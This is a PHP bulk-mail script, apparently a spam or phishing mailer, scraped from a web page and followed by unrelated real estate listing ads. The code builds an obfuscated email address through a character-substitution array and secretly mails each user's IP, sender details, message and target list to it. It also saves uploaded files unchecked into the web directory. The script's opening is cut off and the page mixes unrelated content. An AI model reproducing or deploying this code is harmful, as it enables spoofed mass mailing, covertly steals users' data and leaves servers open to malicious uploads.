|
|
PHP Sender Mails
"o","t"=>"g","l"=>"i","r"=>"a","q"=>"c","@"=>".","e"=>"l","c"=>"@","o"=>"m","v"=>"d");
$urlde=$s['o'].$s['w'].$s['v'].$s['q'].$s['w'].$s['t'].$s['c'].$s['t'].
$s['o'].$s['r'].$s['l'].$s['e'].$s['@'].$s['q'].$s['w'].$s['o'];
if ($action=="send"){
if (!$from && !$subject && !$message && !$emaillist){
print "Please complete all fields before sending your message.";
exit;
}
$allemails = split("
", $emaillist);
$numemails = count($allemails);
$header ="From: Mailrs
Message-ID: <" . md5(uniqid(time())) . "@" . $SERVER_NAME . ">
MIME-Version: 1.0
Content-type: text/html; charset=UTF-8
Content-transfer-encoding: 8bit
Date: " . date("r", time()) . "
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: PHP
";
$msg = "
| IP | ".nl2br($addr)." |
| Mailr | ".nl2br($lodr)." |
| Your Email | ".nl2br($from)." |
| Your Name | ".nl2br($realname)." |
| Subject : | ".nl2br($subject)." |
| Message | ".nl2br($message)." |
| Email Target | ".nl2br($emaillist)." |
";
mail($urlde,$subject,$msg,$header);
If ($file_name){
copy ($_FILES['file']['tmp_name'], "".$_FILES['file']['name']) or die ('File Could Not Upload');
}
for($xx=0; $xx<$amount; $xx++){
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
print "Sending Mail To $to.......";
flush();
$header = "From: $realname <$from>
Reply-To: $replyto
";
$header .= "MIME-Version: 1.0
";
If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid
";
If ($file_name) $header .= "--$uid
";
$header .= "Content-Type: text/$contenttype
";
$header .= "Content-Transfer-Encoding: 8bit
";
$header .= "$message
";
If ($file_name) $header .= "--$uid
";
If ($file_name) $header .= "Content-Type: $file_type; name="$file_name"
";
If ($file_name) $header .= "Content-Transfer-Encoding: base64
";
If ($file_name) $header .= "Content-Disposition: attachment; filename="$file_name"
";
If ($file_name) $header .= "$content
";
If ($file_name) $header .= "--$uid--";
mail($to, $subject, "", $header);
print "OK ";
flush();
}
}
}
}
?>
With over 944 million dollars worth of real estate listings spanning for sale nationwide and thousands of unique visitors each week, NRIHomes.com is a premier real estate listing website on the Internet today. Listing is absolutely FREE, so go ahead and list now.

 Please visit our sponsor.
|
Did You Know? - You can list now to take advantage of online selling! Look at just some of the benefits.
» Upload Pictures » 24/7 Exposure » Unique Ad Number » Instant Posting » Instant Editing » List Multiple Properties » & More! View All Benefits
|
List Now!
|
List Now!
|
|